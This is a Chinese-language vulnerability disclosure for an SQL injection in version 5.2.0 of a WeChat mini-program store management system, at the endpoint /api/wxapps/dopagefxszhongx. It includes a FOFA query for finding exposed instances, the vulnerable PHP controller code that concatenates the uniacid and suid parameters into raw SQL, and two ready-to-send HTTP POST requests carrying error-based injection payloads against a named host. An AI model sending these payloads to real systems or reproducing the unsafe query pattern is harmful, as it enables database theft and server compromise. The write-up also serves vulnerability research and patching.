漏洞简介

万能门店小程序管理系统是一款功能强大的工具，旨在为各行业商家提供线上线下融合的全方位解决方案。是一个集成了会员管理和会员营销两大核心功能的综合性平台。它支持多行业使用，通过后台一键切换版本，满足不同行业商家的个性化需求。该系统采用轻量后台，搭载高效服务器，确保小程序运行流畅，提升用户体验。万能门店小程序管理系统 /api/wxapps/dopagefxszhongx 存在 SQL 注入漏洞，攻击者可通过该漏洞获取数据库中的敏感信息，甚至可能进一步控制服务器。

影响版本

万能门店小程序全开源独立版V5.2.0

fofa语法

body="/new_plat/index.html#/login" || (body="/comhome/cases/index.html" && body="/Comhome/functionshow/index.html")

漏洞分析

application/api/controller/Wxapps.php

// 分销商中心
    public function dopagefxszhongx()
    {
        $uniacid = input("uniacid");
        $suid = input("suid");
        $sq = Db::name('wd_xcx_fx_sq')->where("uniacid", $uniacid)->where('suid', $suid)->find();
        $user = Db::name('wd_xcx_superuser')->where("uniacid", $uniacid)->where('id', $suid)->find();
        $arr['sq'] = $sq;
        $arr['user'] = $user;
        $arr['order_counts'] = 0;
        $arr['team_counts'] = 0;
        $arr['tx_counts'] = 0;
        $arr['zuidi'] = 0;
        $prefix = config('database.prefix');
        //我的团队数据
        $team_counts = count(Db::query("SELECT * FROM {$prefix}wd_xcx_superuser WHERE uniacid=" . $uniacid . " and (parent_id = '" . $suid . "' or p_parent_id = '" . $suid . "' or p_p_parent_id = '" . $suid . "')"));
        $arr['team_counts'] = $team_counts;
        // 分销订单
        $order_counts = count(Db::query("SELECT * FROM  {$prefix}wd_xcx_fx_ls WHERE uniacid=" . $uniacid . " and (parent_id = '" . $suid . "' or p_parent_id = '" . $suid . "' or p_p_parent_id = '" . $suid . "')"));
        $arr['order_counts'] = $order_counts;
        // 提现申请
        $tx_counts = Db::name('wd_xcx_fx_tx')->where("uniacid", $uniacid)->where('suid', $suid)->count();
        $arr['tx_counts'] = $tx_counts;
        // 最低提现规则
        $guiz = Db::name('wd_xcx_fx_gz')->where("uniacid", $uniacid)->find();
        $arr['zuidi'] = $guiz['txmoney'];
        $arr['guiz'] = $guiz;
        $result['data'] = $arr;
        return json_encode($result);
    }

漏洞点

//我的团队数据
        $team_counts = count(Db::query("SELECT * FROM {$prefix}wd_xcx_superuser WHERE uniacid=" . $uniacid . " and (parent_id = '" . $suid . "' or p_parent_id = '" . $suid . "' or p_p_parent_id = '" . $suid . "')"));
        $arr['team_counts'] = $team_counts;
        // 分销订单
        $order_counts = count(Db::query("SELECT * FROM  {$prefix}wd_xcx_fx_ls WHERE uniacid=" . $uniacid . " and (parent_id = '" . $suid . "' or p_parent_id = '" . $suid . "' or p_p_parent_id = '" . $suid . "')"));
        $arr['order_counts'] = $order_counts;

$uniacid 和 $suid 直接拼接进SQL语句，从而造成SQL注入漏洞。

漏洞复现

POST /api/wxapps/dopagefxszhongx HTTP/1.1
Host: wxapps.mrxn.net
Content-Type: application/x-www-form-urlencoded

uniacid=1+AND+GTID_SUBSET(CONCAT((SELECT(md5(123456)))),3119)--

POST /api/wxapps/dopagefxszhongx HTTP/1.1
Host: wxapps.mrxn.net
Content-Type: application/x-www-form-urlencoded

suid=1'AND+GTID_SUBSET(CONCAT((SELECT(md5(123456)))),3119)+and+'1'='1&uniacid=1